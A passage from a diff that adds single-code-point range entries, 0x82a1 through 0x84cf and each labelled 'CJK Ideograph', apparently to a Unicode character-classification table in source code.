+ [0x82a1, 0x82a1], /* CJK Ideograph */
+ [0x82a2, 0x82a2], /* CJK Ideograph */
+ [0x82a3, 0x82a3], /* CJK Ideograph */
+ [0x82a4, 0x82a4], /* CJK Ideograph */
+ [0x82a5, 0x82a5], /* CJK Ideograph */
+ [0x82a6, 0x82a6], /* CJK Ideograph */
+ [0x82a7, 0x82a7], /* CJK Ideograph */
+ [0x82a8, 0x82a8], /* CJK Ideograph */
+ [0x82a9, 0x82a9], /* CJK Ideograph */
+ [0x82aa, 0x82aa], /* CJK Ideograph */
+ [0x82ab, 0x82ab], /* CJK Ideograph */
+ [0x82ac, 0x82ac], /* CJK Ideograph */
+ [0x82ad, 0x82ad], /* CJK Ideograph */
+ [0x82ae, 0x82ae], /* CJK Ideograph */
+ [0x82af, 0x82af], /* CJK Ideograph */
+ [0x82b0, 0x82b0], /* CJK Ideograph */
+ [0x82b1, 0x82b1], /* CJK Ideograph */
+ [0x82b2, 0x82b2], /* CJK Ideograph */
+ [0x82b3, 0x82b3], /* CJK Ideograph */
+ [0x82b4, 0x82b4], /* CJK Ideograph */
+ [0x82b5, 0x82b5], /* CJK Ideograph */
+ [0x82b6, 0x82b6], /* CJK Ideograph */
+ [0x82b7, 0x82b7], /* CJK Ideograph */
+ [0x82b8, 0x82b8], /* CJK Ideograph */
+ [0x82b9, 0x82b9], /* CJK Ideograph */
+ [0x82ba, 0x82ba], /* CJK Ideograph */
+ [0x82bb, 0x82bb], /* CJK Ideograph */
+ [0x82bc, 0x82bc], /* CJK Ideograph */
+ [0x82bd, 0x82bd], /* CJK Ideograph */
+ [0x82be, 0x82be], /* CJK Ideograph */
+ [0x82bf, 0x82bf], /* CJK Ideograph */
+ [0x82c0, 0x82c0], /* CJK Ideograph */
+ [0x82c1, 0x82c1], /* CJK Ideograph */
+ [0x82c2, 0x82c2], /* CJK Ideograph */
+ [0x82c3, 0x82c3], /* CJK Ideograph */
+ [0x82c4, 0x82c4], /* CJK Ideograph */
+ [0x82c5, 0x82c5], /* CJK Ideograph */
+ [0x82c6, 0x82c6], /* CJK Ideograph */
+ [0x82c7, 0x82c7], /* CJK Ideograph */
+ [0x82c8, 0x82c8], /* CJK Ideograph */
+ [0x82c9, 0x82c9], /* CJK Ideograph */
+ [0x82ca, 0x82ca], /* CJK Ideograph */
+ [0x82cb, 0x82cb], /* CJK Ideograph */
+ [0x82cc, 0x82cc], /* CJK Ideograph */
+ [0x82cd, 0x82cd], /* CJK Ideograph */
+ [0x82ce, 0x82ce], /* CJK Ideograph */
+ [0x82cf, 0x82cf], /* CJK Ideograph */
+ [0x82d0, 0x82d0], /* CJK Ideograph */
+ [0x82d1, 0x82d1], /* CJK Ideograph */
+ [0x82d2, 0x82d2], /* CJK Ideograph */
+ [0x82d3, 0x82d3], /* CJK Ideograph */
+ [0x82d4, 0x82d4], /* CJK Ideograph */
+ [0x82d5, 0x82d5], /* CJK Ideograph */
+ [0x82d6, 0x82d6], /* CJK Ideograph */
+ [0x82d7, 0x82d7], /* CJK Ideograph */
+ [0x82d8, 0x82d8], /* CJK Ideograph */
+ [0x82d9, 0x82d9], /* CJK Ideograph */
+ [0x82da, 0x82da], /* CJK Ideograph */
+ [0x82db, 0x82db], /* CJK Ideograph */
+ [0x82dc, 0x82dc], /* CJK Ideograph */
+ [0x82dd, 0x82dd], /* CJK Ideograph */
+ [0x82de, 0x82de], /* CJK Ideograph */
+ [0x82df, 0x82df], /* CJK Ideograph */
+ [0x82e0, 0x82e0], /* CJK Ideograph */
+ [0x82e1, 0x82e1], /* CJK Ideograph */
+ [0x82e2, 0x82e2], /* CJK Ideograph */
+ [0x82e3, 0x82e3], /* CJK Ideograph */
+ [0x82e4, 0x82e4], /* CJK Ideograph */
+ [0x82e5, 0x82e5], /* CJK Ideograph */
+ [0x82e6, 0x82e6], /* CJK Ideograph */
+ [0x82e7, 0x82e7], /* CJK Ideograph */
+ [0x82e8, 0x82e8], /* CJK Ideograph */
+ [0x82e9, 0x82e9], /* CJK Ideograph */
+ [0x82ea, 0x82ea], /* CJK Ideograph */
+ [0x82eb, 0x82eb], /* CJK Ideograph */
+ [0x82ec, 0x82ec], /* CJK Ideograph */
+ [0x82ed, 0x82ed], /* CJK Ideograph */
+ [0x82ee, 0x82ee], /* CJK Ideograph */
+ [0x82ef, 0x82ef], /* CJK Ideograph */
+ [0x82f0, 0x82f0], /* CJK Ideograph */
+ [0x82f1, 0x82f1], /* CJK Ideograph */
+ [0x82f2, 0x82f2], /* CJK Ideograph */
+ [0x82f3, 0x82f3], /* CJK Ideograph */
+ [0x82f4, 0x82f4], /* CJK Ideograph */
+ [0x82f5, 0x82f5], /* CJK Ideograph */
+ [0x82f6, 0x82f6], /* CJK Ideograph */
+ [0x82f7, 0x82f7], /* CJK Ideograph */
+ [0x82f8, 0x82f8], /* CJK Ideograph */
+ [0x82f9, 0x82f9], /* CJK Ideograph */
+ [0x82fa, 0x82fa], /* CJK Ideograph */
+ [0x82fb, 0x82fb], /* CJK Ideograph */
+ [0x82fc, 0x82fc], /* CJK Ideograph */
+ [0x82fd, 0x82fd], /* CJK Ideograph */
+ [0x82fe, 0x82fe], /* CJK Ideograph */
+ [0x82ff, 0x82ff], /* CJK Ideograph */
+ [0x8300, 0x8300], /* CJK Ideograph */
+ [0x8301, 0x8301], /* CJK Ideograph */
+ [0x8302, 0x8302], /* CJK Ideograph */
+ [0x8303, 0x8303], /* CJK Ideograph */
+ [0x8304, 0x8304], /* CJK Ideograph */
+ [0x8305, 0x8305], /* CJK Ideograph */
+ [0x8306, 0x8306], /* CJK Ideograph */
+ [0x8307, 0x8307], /* CJK Ideograph */
+ [0x8308, 0x8308], /* CJK Ideograph */
+ [0x8309, 0x8309], /* CJK Ideograph */
+ [0x830a, 0x830a], /* CJK Ideograph */
+ [0x830b, 0x830b], /* CJK Ideograph */
+ [0x830c, 0x830c], /* CJK Ideograph */
+ [0x830d, 0x830d], /* CJK Ideograph */
+ [0x830e, 0x830e], /* CJK Ideograph */
+ [0x830f, 0x830f], /* CJK Ideograph */
+ [0x8310, 0x8310], /* CJK Ideograph */
+ [0x8311, 0x8311], /* CJK Ideograph */
+ [0x8312, 0x8312], /* CJK Ideograph */
+ [0x8313, 0x8313], /* CJK Ideograph */
+ [0x8314, 0x8314], /* CJK Ideograph */
+ [0x8315, 0x8315], /* CJK Ideograph */
+ [0x8316, 0x8316], /* CJK Ideograph */
+ [0x8317, 0x8317], /* CJK Ideograph */
+ [0x8318, 0x8318], /* CJK Ideograph */
+ [0x8319, 0x8319], /* CJK Ideograph */
+ [0x831a, 0x831a], /* CJK Ideograph */
+ [0x831b, 0x831b], /* CJK Ideograph */
+ [0x831c, 0x831c], /* CJK Ideograph */
+ [0x831d, 0x831d], /* CJK Ideograph */
+ [0x831e, 0x831e], /* CJK Ideograph */
+ [0x831f, 0x831f], /* CJK Ideograph */
+ [0x8320, 0x8320], /* CJK Ideograph */
+ [0x8321, 0x8321], /* CJK Ideograph */
+ [0x8322, 0x8322], /* CJK Ideograph */
+ [0x8323, 0x8323], /* CJK Ideograph */
+ [0x8324, 0x8324], /* CJK Ideograph */
+ [0x8325, 0x8325], /* CJK Ideograph */
+ [0x8326, 0x8326], /* CJK Ideograph */
+ [0x8327, 0x8327], /* CJK Ideograph */
+ [0x8328, 0x8328], /* CJK Ideograph */
+ [0x8329, 0x8329], /* CJK Ideograph */
+ [0x832a, 0x832a], /* CJK Ideograph */
+ [0x832b, 0x832b], /* CJK Ideograph */
+ [0x832c, 0x832c], /* CJK Ideograph */
+ [0x832d, 0x832d], /* CJK Ideograph */
+ [0x832e, 0x832e], /* CJK Ideograph */
+ [0x832f, 0x832f], /* CJK Ideograph */
+ [0x8330, 0x8330], /* CJK Ideograph */
+ [0x8331, 0x8331], /* CJK Ideograph */
+ [0x8332, 0x8332], /* CJK Ideograph */
+ [0x8333, 0x8333], /* CJK Ideograph */
+ [0x8334, 0x8334], /* CJK Ideograph */
+ [0x8335, 0x8335], /* CJK Ideograph */
+ [0x8336, 0x8336], /* CJK Ideograph */
+ [0x8337, 0x8337], /* CJK Ideograph */
+ [0x8338, 0x8338], /* CJK Ideograph */
+ [0x8339, 0x8339], /* CJK Ideograph */
+ [0x833a, 0x833a], /* CJK Ideograph */
+ [0x833b, 0x833b], /* CJK Ideograph */
+ [0x833c, 0x833c], /* CJK Ideograph */
+ [0x833d, 0x833d], /* CJK Ideograph */
+ [0x833e, 0x833e], /* CJK Ideograph */
+ [0x833f, 0x833f], /* CJK Ideograph */
+ [0x8340, 0x8340], /* CJK Ideograph */
+ [0x8341, 0x8341], /* CJK Ideograph */
+ [0x8342, 0x8342], /* CJK Ideograph */
+ [0x8343, 0x8343], /* CJK Ideograph */
+ [0x8344, 0x8344], /* CJK Ideograph */
+ [0x8345, 0x8345], /* CJK Ideograph */
+ [0x8346, 0x8346], /* CJK Ideograph */
+ [0x8347, 0x8347], /* CJK Ideograph */
+ [0x8348, 0x8348], /* CJK Ideograph */
+ [0x8349, 0x8349], /* CJK Ideograph */
+ [0x834a, 0x834a], /* CJK Ideograph */
+ [0x834b, 0x834b], /* CJK Ideograph */
+ [0x834c, 0x834c], /* CJK Ideograph */
+ [0x834d, 0x834d], /* CJK Ideograph */
+ [0x834e, 0x834e], /* CJK Ideograph */
+ [0x834f, 0x834f], /* CJK Ideograph */
+ [0x8350, 0x8350], /* CJK Ideograph */
+ [0x8351, 0x8351], /* CJK Ideograph */
+ [0x8352, 0x8352], /* CJK Ideograph */
+ [0x8353, 0x8353], /* CJK Ideograph */
+ [0x8354, 0x8354], /* CJK Ideograph */
+ [0x8355, 0x8355], /* CJK Ideograph */
+ [0x8356, 0x8356], /* CJK Ideograph */
+ [0x8357, 0x8357], /* CJK Ideograph */
+ [0x8358, 0x8358], /* CJK Ideograph */
+ [0x8359, 0x8359], /* CJK Ideograph */
+ [0x835a, 0x835a], /* CJK Ideograph */
+ [0x835b, 0x835b], /* CJK Ideograph */
+ [0x835c, 0x835c], /* CJK Ideograph */
+ [0x835d, 0x835d], /* CJK Ideograph */
+ [0x835e, 0x835e], /* CJK Ideograph */
+ [0x835f, 0x835f], /* CJK Ideograph */
+ [0x8360, 0x8360], /* CJK Ideograph */
+ [0x8361, 0x8361], /* CJK Ideograph */
+ [0x8362, 0x8362], /* CJK Ideograph */
+ [0x8363, 0x8363], /* CJK Ideograph */
+ [0x8364, 0x8364], /* CJK Ideograph */
+ [0x8365, 0x8365], /* CJK Ideograph */
+ [0x8366, 0x8366], /* CJK Ideograph */
+ [0x8367, 0x8367], /* CJK Ideograph */
+ [0x8368, 0x8368], /* CJK Ideograph */
+ [0x8369, 0x8369], /* CJK Ideograph */
+ [0x836a, 0x836a], /* CJK Ideograph */
+ [0x836b, 0x836b], /* CJK Ideograph */
+ [0x836c, 0x836c], /* CJK Ideograph */
+ [0x836d, 0x836d], /* CJK Ideograph */
+ [0x836e, 0x836e], /* CJK Ideograph */
+ [0x836f, 0x836f], /* CJK Ideograph */
+ [0x8370, 0x8370], /* CJK Ideograph */
+ [0x8371, 0x8371], /* CJK Ideograph */
+ [0x8372, 0x8372], /* CJK Ideograph */
+ [0x8373, 0x8373], /* CJK Ideograph */
+ [0x8374, 0x8374], /* CJK Ideograph */
+ [0x8375, 0x8375], /* CJK Ideograph */
+ [0x8376, 0x8376], /* CJK Ideograph */
+ [0x8377, 0x8377], /* CJK Ideograph */
+ [0x8378, 0x8378], /* CJK Ideograph */
+ [0x8379, 0x8379], /* CJK Ideograph */
+ [0x837a, 0x837a], /* CJK Ideograph */
+ [0x837b, 0x837b], /* CJK Ideograph */
+ [0x837c, 0x837c], /* CJK Ideograph */
+ [0x837d, 0x837d], /* CJK Ideograph */
+ [0x837e, 0x837e], /* CJK Ideograph */
+ [0x837f, 0x837f], /* CJK Ideograph */
+ [0x8380, 0x8380], /* CJK Ideograph */
+ [0x8381, 0x8381], /* CJK Ideograph */
+ [0x8382, 0x8382], /* CJK Ideograph */
+ [0x8383, 0x8383], /* CJK Ideograph */
+ [0x8384, 0x8384], /* CJK Ideograph */
+ [0x8385, 0x8385], /* CJK Ideograph */
+ [0x8386, 0x8386], /* CJK Ideograph */
+ [0x8387, 0x8387], /* CJK Ideograph */
+ [0x8388, 0x8388], /* CJK Ideograph */
+ [0x8389, 0x8389], /* CJK Ideograph */
+ [0x838a, 0x838a], /* CJK Ideograph */
+ [0x838b, 0x838b], /* CJK Ideograph */
+ [0x838c, 0x838c], /* CJK Ideograph */
+ [0x838d, 0x838d], /* CJK Ideograph */
+ [0x838e, 0x838e], /* CJK Ideograph */
+ [0x838f, 0x838f], /* CJK Ideograph */
+ [0x8390, 0x8390], /* CJK Ideograph */
+ [0x8391, 0x8391], /* CJK Ideograph */
+ [0x8392, 0x8392], /* CJK Ideograph */
+ [0x8393, 0x8393], /* CJK Ideograph */
+ [0x8394, 0x8394], /* CJK Ideograph */
+ [0x8395, 0x8395], /* CJK Ideograph */
+ [0x8396, 0x8396], /* CJK Ideograph */
+ [0x8397, 0x8397], /* CJK Ideograph */
+ [0x8398, 0x8398], /* CJK Ideograph */
+ [0x8399, 0x8399], /* CJK Ideograph */
+ [0x839a, 0x839a], /* CJK Ideograph */
+ [0x839b, 0x839b], /* CJK Ideograph */
+ [0x839c, 0x839c], /* CJK Ideograph */
+ [0x839d, 0x839d], /* CJK Ideograph */
+ [0x839e, 0x839e], /* CJK Ideograph */
+ [0x839f, 0x839f], /* CJK Ideograph */
+ [0x83a0, 0x83a0], /* CJK Ideograph */
+ [0x83a1, 0x83a1], /* CJK Ideograph */
+ [0x83a2, 0x83a2], /* CJK Ideograph */
+ [0x83a3, 0x83a3], /* CJK Ideograph */
+ [0x83a4, 0x83a4], /* CJK Ideograph */
+ [0x83a5, 0x83a5], /* CJK Ideograph */
+ [0x83a6, 0x83a6], /* CJK Ideograph */
+ [0x83a7, 0x83a7], /* CJK Ideograph */
+ [0x83a8, 0x83a8], /* CJK Ideograph */
+ [0x83a9, 0x83a9], /* CJK Ideograph */
+ [0x83aa, 0x83aa], /* CJK Ideograph */
+ [0x83ab, 0x83ab], /* CJK Ideograph */
+ [0x83ac, 0x83ac], /* CJK Ideograph */
+ [0x83ad, 0x83ad], /* CJK Ideograph */
+ [0x83ae, 0x83ae], /* CJK Ideograph */
+ [0x83af, 0x83af], /* CJK Ideograph */
+ [0x83b0, 0x83b0], /* CJK Ideograph */
+ [0x83b1, 0x83b1], /* CJK Ideograph */
+ [0x83b2, 0x83b2], /* CJK Ideograph */
+ [0x83b3, 0x83b3], /* CJK Ideograph */
+ [0x83b4, 0x83b4], /* CJK Ideograph */
+ [0x83b5, 0x83b5], /* CJK Ideograph */
+ [0x83b6, 0x83b6], /* CJK Ideograph */
+ [0x83b7, 0x83b7], /* CJK Ideograph */
+ [0x83b8, 0x83b8], /* CJK Ideograph */
+ [0x83b9, 0x83b9], /* CJK Ideograph */
+ [0x83ba, 0x83ba], /* CJK Ideograph */
+ [0x83bb, 0x83bb], /* CJK Ideograph */
+ [0x83bc, 0x83bc], /* CJK Ideograph */
+ [0x83bd, 0x83bd], /* CJK Ideograph */
+ [0x83be, 0x83be], /* CJK Ideograph */
+ [0x83bf, 0x83bf], /* CJK Ideograph */
+ [0x83c0, 0x83c0], /* CJK Ideograph */
+ [0x83c1, 0x83c1], /* CJK Ideograph */
+ [0x83c2, 0x83c2], /* CJK Ideograph */
+ [0x83c3, 0x83c3], /* CJK Ideograph */
+ [0x83c4, 0x83c4], /* CJK Ideograph */
+ [0x83c5, 0x83c5], /* CJK Ideograph */
+ [0x83c6, 0x83c6], /* CJK Ideograph */
+ [0x83c7, 0x83c7], /* CJK Ideograph */
+ [0x83c8, 0x83c8], /* CJK Ideograph */
+ [0x83c9, 0x83c9], /* CJK Ideograph */
+ [0x83ca, 0x83ca], /* CJK Ideograph */
+ [0x83cb, 0x83cb], /* CJK Ideograph */
+ [0x83cc, 0x83cc], /* CJK Ideograph */
+ [0x83cd, 0x83cd], /* CJK Ideograph */
+ [0x83ce, 0x83ce], /* CJK Ideograph */
+ [0x83cf, 0x83cf], /* CJK Ideograph */
+ [0x83d0, 0x83d0], /* CJK Ideograph */
+ [0x83d1, 0x83d1], /* CJK Ideograph */
+ [0x83d2, 0x83d2], /* CJK Ideograph */
+ [0x83d3, 0x83d3], /* CJK Ideograph */
+ [0x83d4, 0x83d4], /* CJK Ideograph */
+ [0x83d5, 0x83d5], /* CJK Ideograph */
+ [0x83d6, 0x83d6], /* CJK Ideograph */
+ [0x83d7, 0x83d7], /* CJK Ideograph */
+ [0x83d8, 0x83d8], /* CJK Ideograph */
+ [0x83d9, 0x83d9], /* CJK Ideograph */
+ [0x83da, 0x83da], /* CJK Ideograph */
+ [0x83db, 0x83db], /* CJK Ideograph */
+ [0x83dc, 0x83dc], /* CJK Ideograph */
+ [0x83dd, 0x83dd], /* CJK Ideograph */
+ [0x83de, 0x83de], /* CJK Ideograph */
+ [0x83df, 0x83df], /* CJK Ideograph */
+ [0x83e0, 0x83e0], /* CJK Ideograph */
+ [0x83e1, 0x83e1], /* CJK Ideograph */
+ [0x83e2, 0x83e2], /* CJK Ideograph */
+ [0x83e3, 0x83e3], /* CJK Ideograph */
+ [0x83e4, 0x83e4], /* CJK Ideograph */
+ [0x83e5, 0x83e5], /* CJK Ideograph */
+ [0x83e6, 0x83e6], /* CJK Ideograph */
+ [0x83e7, 0x83e7], /* CJK Ideograph */
+ [0x83e8, 0x83e8], /* CJK Ideograph */
+ [0x83e9, 0x83e9], /* CJK Ideograph */
+ [0x83ea, 0x83ea], /* CJK Ideograph */
+ [0x83eb, 0x83eb], /* CJK Ideograph */
+ [0x83ec, 0x83ec], /* CJK Ideograph */
+ [0x83ed, 0x83ed], /* CJK Ideograph */
+ [0x83ee, 0x83ee], /* CJK Ideograph */
+ [0x83ef, 0x83ef], /* CJK Ideograph */
+ [0x83f0, 0x83f0], /* CJK Ideograph */
+ [0x83f1, 0x83f1], /* CJK Ideograph */
+ [0x83f2, 0x83f2], /* CJK Ideograph */
+ [0x83f3, 0x83f3], /* CJK Ideograph */
+ [0x83f4, 0x83f4], /* CJK Ideograph */
+ [0x83f5, 0x83f5], /* CJK Ideograph */
+ [0x83f6, 0x83f6], /* CJK Ideograph */
+ [0x83f7, 0x83f7], /* CJK Ideograph */
+ [0x83f8, 0x83f8], /* CJK Ideograph */
+ [0x83f9, 0x83f9], /* CJK Ideograph */
+ [0x83fa, 0x83fa], /* CJK Ideograph */
+ [0x83fb, 0x83fb], /* CJK Ideograph */
+ [0x83fc, 0x83fc], /* CJK Ideograph */
+ [0x83fd, 0x83fd], /* CJK Ideograph */
+ [0x83fe, 0x83fe], /* CJK Ideograph */
+ [0x83ff, 0x83ff], /* CJK Ideograph */
+ [0x8400, 0x8400], /* CJK Ideograph */
+ [0x8401, 0x8401], /* CJK Ideograph */
+ [0x8402, 0x8402], /* CJK Ideograph */
+ [0x8403, 0x8403], /* CJK Ideograph */
+ [0x8404, 0x8404], /* CJK Ideograph */
+ [0x8405, 0x8405], /* CJK Ideograph */
+ [0x8406, 0x8406], /* CJK Ideograph */
+ [0x8407, 0x8407], /* CJK Ideograph */
+ [0x8408, 0x8408], /* CJK Ideograph */
+ [0x8409, 0x8409], /* CJK Ideograph */
+ [0x840a, 0x840a], /* CJK Ideograph */
+ [0x840b, 0x840b], /* CJK Ideograph */
+ [0x840c, 0x840c], /* CJK Ideograph */
+ [0x840d, 0x840d], /* CJK Ideograph */
+ [0x840e, 0x840e], /* CJK Ideograph */
+ [0x840f, 0x840f], /* CJK Ideograph */
+ [0x8410, 0x8410], /* CJK Ideograph */
+ [0x8411, 0x8411], /* CJK Ideograph */
+ [0x8412, 0x8412], /* CJK Ideograph */
+ [0x8413, 0x8413], /* CJK Ideograph */
+ [0x8414, 0x8414], /* CJK Ideograph */
+ [0x8415, 0x8415], /* CJK Ideograph */
+ [0x8416, 0x8416], /* CJK Ideograph */
+ [0x8417, 0x8417], /* CJK Ideograph */
+ [0x8418, 0x8418], /* CJK Ideograph */
+ [0x8419, 0x8419], /* CJK Ideograph */
+ [0x841a, 0x841a], /* CJK Ideograph */
+ [0x841b, 0x841b], /* CJK Ideograph */
+ [0x841c, 0x841c], /* CJK Ideograph */
+ [0x841d, 0x841d], /* CJK Ideograph */
+ [0x841e, 0x841e], /* CJK Ideograph */
+ [0x841f, 0x841f], /* CJK Ideograph */
+ [0x8420, 0x8420], /* CJK Ideograph */
+ [0x8421, 0x8421], /* CJK Ideograph */
+ [0x8422, 0x8422], /* CJK Ideograph */
+ [0x8423, 0x8423], /* CJK Ideograph */
+ [0x8424, 0x8424], /* CJK Ideograph */
+ [0x8425, 0x8425], /* CJK Ideograph */
+ [0x8426, 0x8426], /* CJK Ideograph */
+ [0x8427, 0x8427], /* CJK Ideograph */
+ [0x8428, 0x8428], /* CJK Ideograph */
+ [0x8429, 0x8429], /* CJK Ideograph */
+ [0x842a, 0x842a], /* CJK Ideograph */
+ [0x842b, 0x842b], /* CJK Ideograph */
+ [0x842c, 0x842c], /* CJK Ideograph */
+ [0x842d, 0x842d], /* CJK Ideograph */
+ [0x842e, 0x842e], /* CJK Ideograph */
+ [0x842f, 0x842f], /* CJK Ideograph */
+ [0x8430, 0x8430], /* CJK Ideograph */
+ [0x8431, 0x8431], /* CJK Ideograph */
+ [0x8432, 0x8432], /* CJK Ideograph */
+ [0x8433, 0x8433], /* CJK Ideograph */
+ [0x8434, 0x8434], /* CJK Ideograph */
+ [0x8435, 0x8435], /* CJK Ideograph */
+ [0x8436, 0x8436], /* CJK Ideograph */
+ [0x8437, 0x8437], /* CJK Ideograph */
+ [0x8438, 0x8438], /* CJK Ideograph */
+ [0x8439, 0x8439], /* CJK Ideograph */
+ [0x843a, 0x843a], /* CJK Ideograph */
+ [0x843b, 0x843b], /* CJK Ideograph */
+ [0x843c, 0x843c], /* CJK Ideograph */
+ [0x843d, 0x843d], /* CJK Ideograph */
+ [0x843e, 0x843e], /* CJK Ideograph */
+ [0x843f, 0x843f], /* CJK Ideograph */
+ [0x8440, 0x8440], /* CJK Ideograph */
+ [0x8441, 0x8441], /* CJK Ideograph */
+ [0x8442, 0x8442], /* CJK Ideograph */
+ [0x8443, 0x8443], /* CJK Ideograph */
+ [0x8444, 0x8444], /* CJK Ideograph */
+ [0x8445, 0x8445], /* CJK Ideograph */
+ [0x8446, 0x8446], /* CJK Ideograph */
+ [0x8447, 0x8447], /* CJK Ideograph */
+ [0x8448, 0x8448], /* CJK Ideograph */
+ [0x8449, 0x8449], /* CJK Ideograph */
+ [0x844a, 0x844a], /* CJK Ideograph */
+ [0x844b, 0x844b], /* CJK Ideograph */
+ [0x844c, 0x844c], /* CJK Ideograph */
+ [0x844d, 0x844d], /* CJK Ideograph */
+ [0x844e, 0x844e], /* CJK Ideograph */
+ [0x844f, 0x844f], /* CJK Ideograph */
+ [0x8450, 0x8450], /* CJK Ideograph */
+ [0x8451, 0x8451], /* CJK Ideograph */
+ [0x8452, 0x8452], /* CJK Ideograph */
+ [0x8453, 0x8453], /* CJK Ideograph */
+ [0x8454, 0x8454], /* CJK Ideograph */
+ [0x8455, 0x8455], /* CJK Ideograph */
+ [0x8456, 0x8456], /* CJK Ideograph */
+ [0x8457, 0x8457], /* CJK Ideograph */
+ [0x8458, 0x8458], /* CJK Ideograph */
+ [0x8459, 0x8459], /* CJK Ideograph */
+ [0x845a, 0x845a], /* CJK Ideograph */
+ [0x845b, 0x845b], /* CJK Ideograph */
+ [0x845c, 0x845c], /* CJK Ideograph */
+ [0x845d, 0x845d], /* CJK Ideograph */
+ [0x845e, 0x845e], /* CJK Ideograph */
+ [0x845f, 0x845f], /* CJK Ideograph */
+ [0x8460, 0x8460], /* CJK Ideograph */
+ [0x8461, 0x8461], /* CJK Ideograph */
+ [0x8462, 0x8462], /* CJK Ideograph */
+ [0x8463, 0x8463], /* CJK Ideograph */
+ [0x8464, 0x8464], /* CJK Ideograph */
+ [0x8465, 0x8465], /* CJK Ideograph */
+ [0x8466, 0x8466], /* CJK Ideograph */
+ [0x8467, 0x8467], /* CJK Ideograph */
+ [0x8468, 0x8468], /* CJK Ideograph */
+ [0x8469, 0x8469], /* CJK Ideograph */
+ [0x846a, 0x846a], /* CJK Ideograph */
+ [0x846b, 0x846b], /* CJK Ideograph */
+ [0x846c, 0x846c], /* CJK Ideograph */
+ [0x846d, 0x846d], /* CJK Ideograph */
+ [0x846e, 0x846e], /* CJK Ideograph */
+ [0x846f, 0x846f], /* CJK Ideograph */
+ [0x8470, 0x8470], /* CJK Ideograph */
+ [0x8471, 0x8471], /* CJK Ideograph */
+ [0x8472, 0x8472], /* CJK Ideograph */
+ [0x8473, 0x8473], /* CJK Ideograph */
+ [0x8474, 0x8474], /* CJK Ideograph */
+ [0x8475, 0x8475], /* CJK Ideograph */
+ [0x8476, 0x8476], /* CJK Ideograph */
+ [0x8477, 0x8477], /* CJK Ideograph */
+ [0x8478, 0x8478], /* CJK Ideograph */
+ [0x8479, 0x8479], /* CJK Ideograph */
+ [0x847a, 0x847a], /* CJK Ideograph */
+ [0x847b, 0x847b], /* CJK Ideograph */
+ [0x847c, 0x847c], /* CJK Ideograph */
+ [0x847d, 0x847d], /* CJK Ideograph */
+ [0x847e, 0x847e], /* CJK Ideograph */
+ [0x847f, 0x847f], /* CJK Ideograph */
+ [0x8480, 0x8480], /* CJK Ideograph */
+ [0x8481, 0x8481], /* CJK Ideograph */
+ [0x8482, 0x8482], /* CJK Ideograph */
+ [0x8483, 0x8483], /* CJK Ideograph */
+ [0x8484, 0x8484], /* CJK Ideograph */
+ [0x8485, 0x8485], /* CJK Ideograph */
+ [0x8486, 0x8486], /* CJK Ideograph */
+ [0x8487, 0x8487], /* CJK Ideograph */
+ [0x8488, 0x8488], /* CJK Ideograph */
+ [0x8489, 0x8489], /* CJK Ideograph */
+ [0x848a, 0x848a], /* CJK Ideograph */
+ [0x848b, 0x848b], /* CJK Ideograph */
+ [0x848c, 0x848c], /* CJK Ideograph */
+ [0x848d, 0x848d], /* CJK Ideograph */
+ [0x848e, 0x848e], /* CJK Ideograph */
+ [0x848f, 0x848f], /* CJK Ideograph */
+ [0x8490, 0x8490], /* CJK Ideograph */
+ [0x8491, 0x8491], /* CJK Ideograph */
+ [0x8492, 0x8492], /* CJK Ideograph */
+ [0x8493, 0x8493], /* CJK Ideograph */
+ [0x8494, 0x8494], /* CJK Ideograph */
+ [0x8495, 0x8495], /* CJK Ideograph */
+ [0x8496, 0x8496], /* CJK Ideograph */
+ [0x8497, 0x8497], /* CJK Ideograph */
+ [0x8498, 0x8498], /* CJK Ideograph */
+ [0x8499, 0x8499], /* CJK Ideograph */
+ [0x849a, 0x849a], /* CJK Ideograph */
+ [0x849b, 0x849b], /* CJK Ideograph */
+ [0x849c, 0x849c], /* CJK Ideograph */
+ [0x849d, 0x849d], /* CJK Ideograph */
+ [0x849e, 0x849e], /* CJK Ideograph */
+ [0x849f, 0x849f], /* CJK Ideograph */
+ [0x84a0, 0x84a0], /* CJK Ideograph */
+ [0x84a1, 0x84a1], /* CJK Ideograph */
+ [0x84a2, 0x84a2], /* CJK Ideograph */
+ [0x84a3, 0x84a3], /* CJK Ideograph */
+ [0x84a4, 0x84a4], /* CJK Ideograph */
+ [0x84a5, 0x84a5], /* CJK Ideograph */
+ [0x84a6, 0x84a6], /* CJK Ideograph */
+ [0x84a7, 0x84a7], /* CJK Ideograph */
+ [0x84a8, 0x84a8], /* CJK Ideograph */
+ [0x84a9, 0x84a9], /* CJK Ideograph */
+ [0x84aa, 0x84aa], /* CJK Ideograph */
+ [0x84ab, 0x84ab], /* CJK Ideograph */
+ [0x84ac, 0x84ac], /* CJK Ideograph */
+ [0x84ad, 0x84ad], /* CJK Ideograph */
+ [0x84ae, 0x84ae], /* CJK Ideograph */
+ [0x84af, 0x84af], /* CJK Ideograph */
+ [0x84b0, 0x84b0], /* CJK Ideograph */
+ [0x84b1, 0x84b1], /* CJK Ideograph */
+ [0x84b2, 0x84b2], /* CJK Ideograph */
+ [0x84b3, 0x84b3], /* CJK Ideograph */
+ [0x84b4, 0x84b4], /* CJK Ideograph */
+ [0x84b5, 0x84b5], /* CJK Ideograph */
+ [0x84b6, 0x84b6], /* CJK Ideograph */
+ [0x84b7, 0x84b7], /* CJK Ideograph */
+ [0x84b8, 0x84b8], /* CJK Ideograph */
+ [0x84b9, 0x84b9], /* CJK Ideograph */
+ [0x84ba, 0x84ba], /* CJK Ideograph */
+ [0x84bb, 0x84bb], /* CJK Ideograph */
+ [0x84bc, 0x84bc], /* CJK Ideograph */
+ [0x84bd, 0x84bd], /* CJK Ideograph */
+ [0x84be, 0x84be], /* CJK Ideograph */
+ [0x84bf, 0x84bf], /* CJK Ideograph */
+ [0x84c0, 0x84c0], /* CJK Ideograph */
+ [0x84c1, 0x84c1], /* CJK Ideograph */
+ [0x84c2, 0x84c2], /* CJK Ideograph */
+ [0x84c3, 0x84c3], /* CJK Ideograph */
+ [0x84c4, 0x84c4], /* CJK Ideograph */
+ [0x84c5, 0x84c5], /* CJK Ideograph */
+ [0x84c6, 0x84c6], /* CJK Ideograph */
+ [0x84c7, 0x84c7], /* CJK Ideograph */
+ [0x84c8, 0x84c8], /* CJK Ideograph */
+ [0x84c9, 0x84c9], /* CJK Ideograph */
+ [0x84ca, 0x84ca], /* CJK Ideograph */
+ [0x84cb, 0x84cb], /* CJK Ideograph */
+ [0x84cc, 0x84cc], /* CJK Ideograph */
+ [0x84cd, 0x84cd], /* CJK Ideograph */
+ [0x84ce, 0x84ce], /* CJK Ideograph */
+ [0x84cf, 0x84cf], /* CJK Ideograph */
